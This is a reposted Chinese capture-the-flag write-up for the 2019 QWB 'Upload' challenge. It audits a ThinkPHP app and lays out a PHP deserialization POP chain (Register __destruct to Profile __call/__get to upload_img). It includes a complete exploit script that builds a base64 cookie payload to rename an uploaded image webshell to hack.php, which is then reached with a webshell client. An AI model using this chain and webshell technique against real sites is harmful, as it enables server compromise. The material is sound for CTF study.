代码审计[三] [强网杯 2019]Upload -图片马反序列化重命名

news/2024/10/18 0:42:32/文章来源:https://www.cnblogs.com/ethereal258/p/18473345

代码审计

[强网杯 2019]Upload

源码下载www.tar.gz

源码一大坨

用phpstorm可以看到有两处下断点的地方,属于是提示了。分别是

application\web\controller\Profile.php

image-20241017181158780

application\web\controller\index.php,可以发现这里存在反序列化操作,接收的参数是base64解码后的cookie值

image-20241017181443336

这里先讲一下thinkphpd的一些特性

在 ThinkPHP 中,URL 通常遵循以下格式:

/模块/控制器/方法

假设默认的模块是 web,那么访问以下 URL:

/index

相当于请求了:

/web/index/index

即:

  • 模块web
  • 控制器Index
  • 方法index()

路由解析过程

  • 当你访问

    /index
    

    时,框架会按照 URL 解析规则:

    • 解析到控制器是 app\web\controller\Index
    • 调用该控制器中的 index() 方法。

因此,访问 /index 会触发 Index 控制器的 index() 方法。

解题

两个提示处看一下,一个是接收cookie的序列化值,一个是register.php中析构函数。

同时发现profile.php中有可用的魔术方法__get()__call()

整个流程是通过反序列化,触发update_img方法,并且绕过其中的部分判断,最终到达下面这段函数,来修改已上传的图片马名字

        if($this->ext) {if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}

pop链

首先从析构函数出发,触发进Profile()类中

    public function __destruct(){//$this->registed=0if(!$this->registed){// $this->checker=Profile()$this->checker->index();}}

由于Profile->index() 不存在,触发了 __call 方法,$this->{$name}$this->index又刚好触发__get,但是返回值是except[$name]数值的值,那就需要一个键名为$name键值为upload_img的except数组。这样子 $this->{$this->{$name}}($arguments);就会成为upload_img($arguments)

$this->{$this->{$name}}($arguments):这里是双重的动态调用,首先 $this->{$name} 获取属性的值(假设是一个方法名),然后调用该方法并传入 $arguments 参数。

    public function __get($name){//$this->except[index]return $this->except[$name];}public function __call($name, $arguments){//name=indexif($this->{$name}){$this->{$this->{$name}}($arguments);}}

其他问题

pop链子已经构造好了,但是还是需要处理别的来东西来让触发成功执行

  public function upload_img(){//$this->checker=0if($this->checker){if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";$this->redirect($curr_url,302);exit();}}if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];$this->filename=md5($_FILES['upload_file']['name']).".png";$this->ext_check();}//ext=1,进入此处进行重命名操作if($this->ext) {//filename_tmp=你图片马上传的路径if(getimagesize($this->filename_tmp)) {//filename=重命名后的文件名字@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}

最终exp

<?php
namespace app\web\controller;class Register{public $checker;public $registed =0;}
class Profile{public $checker =0 ;public $filename_tmp="./upload/065831472858248584ff4993846d5065/3c2a5c7f9c572389f5db2a27f9651436.png";public $upload_menu;public $filename="./upload/hack.php";public $ext=1;public $img;public $except=array("index"=>"upload_img");
}$a = new Register();
$a->checker = new Profile();echo base64_encode(serialize($a));

在home下刷新拦包,修改cookie为反序列化的那串base64,然后疯狂刷新几次,就能看到upload/hack.php了,由于浏览器编码的原因可能你看不到马在哪,蚁剑连接即可

后话

这cookie卡我好久,上传后不知道是不是路由缓存还没更新的原因,一直都显示upload目录404,最终解决办法是a浏览器挂着upload目录,b浏览器执行传cookie操作,这样子才能看到东西

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/816662.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[MySQL] MySQL数据库中唯一标识符(ID)的梳理总结

0 引言mysql 数据库中有各类id,在近期初步研究 flink cdc 、debezium、mysql server id、server uuid、gtid、sesion id/connection id等相关概念后,基本有了一定的认知,趁热打铁,记录总结下来。概述 server id = debezium BinaryLogClient 的 sid server uuid transaction…

20222418 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容 (1)使用netcat获取主机操作Shell,cron启动某项任务 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell (4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的…

k8s基本命令

k8s基本命令 k8s describe命令 kubectl describe显示一个或多个资源的详细信息crictl系列命令 crictl 是一个与 k8s 容器运行时接口(CRI)兼容的命令行接口,用于检查和调试 Kubernetes 节点上的容器。 crictl pods # 列出所有pod crictl images # 列出所有镜像 crictl pull h…

20222414 2024-2025-1 《网络与系统攻防技术》实验二实验报告

实验内容 本周学习内容: 本周学习了Shellcode技术,以及学习了一部分后门与免杀技术的相关知识,主要是一些后门的攻击案例。 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shell, 任务计划启动 3.使用MSF meterpreter(或其他软件)生成可执行文件,利用…

数据采集实践作业2

作业一 1.实验内容 要求:在中国气象网(http://www.weather.com.cn)给定城市集的7日天气预报,并保存在数据库 代码如下: import requests import sqlite3 from bs4 import BeautifulSoup# 定义获取天气信息的函数 def get_weather_info(city_id):url_template = http://www…

Hadoop3.X高可用环境搭建

目录一.基础环境准备1.角色分配2.准备软件源3.部署JDK环境4.配置host文件解析5.配置ssh免密登录6.编写data_rsync.sh同步脚本二.安装zookeeper环境1.zookeeper集群的节点数量选择2.下载zookeeper软件3.解压软件包4.配置环境变量5.准备配置文件6.同步数据7.生成myid文件8.启动zo…

Codeforces Round 893 (Div. 2)题解记录

题目链接:https://codeforces.com/contest/1858 A. Buttons从自身角度出发,我想赢就得保证我的按钮尽可能多所以,大家都优先按\(c\),然后分析先后顺序即可#include<iostream>#include<string.h>#include<map>#include<vector>#include<set>#i…

细胞大小,真核细胞直径平均: 3~30μm;

细胞大小 1毫米=1000微米, 1微米=1000纳米, 1毫米=1000000纳米。 单位有毫米(mm)、微米(μm)、纳米(nm) 。细胞的大小是细胞的重要特征,各类细胞的大小是有一定规律的。一般来说,原核细胞直径平均: 1~10μm; 真核细胞直径平均: 3~30μm; 某些不同来源的细胞大小变…

《使用Gin框架构建分布式应用》阅读笔记:p77-p87

《用Gin框架构建分布式应用》学习第5天,p77-p87总结,总计11页。 一、技术总结 1.Go知识点 (1)context 2.on-premises software p80, A container is like a separate OS, but not virtualized; it only contains the dependencies needed for that one application, which ma…

排序算法 - 快速排序

排序算法 - 快速排序概要快速排序(Quicksort)是对冒泡排序算法的一种改进。快速排序是一种基于分而治之的排序算法。它的基本思想是: 选择一个基准数,通过一趟排序将要排序的数据分割成独立的两部分;其中一部分的所有数据都比另外一部分的所有数据都要小。然后,再按此方法…

学习groovy基础

简介 Groovy 是一种 JVM 语言,它可以编译与 Java 相同的字节码,然后将字节码文件交给 JVM 去执行,并且可以与 Java 无缝地互操作,Groovy 可以透明地与 Java 库和代码交互,可以使用 Java 所有的库。 Groovy 也可以直接将源文件解释执行 它还极大地清理了 Java 中许多冗长的…

高级语言程序设计第三次作业

这个作业属于哪个课程:https://edu.cnblogs.com/campus/fzu/2024C 这个作业要求在哪里: https://edu.cnblogs.com/campus/fzu/2024C/homework/13284 学号:102400127 姓名:王子涵 4.8q2 打印引号的时候一开始忘了 然后在写d小题的时候宽度不知道怎么处理 后来询问了同学解决…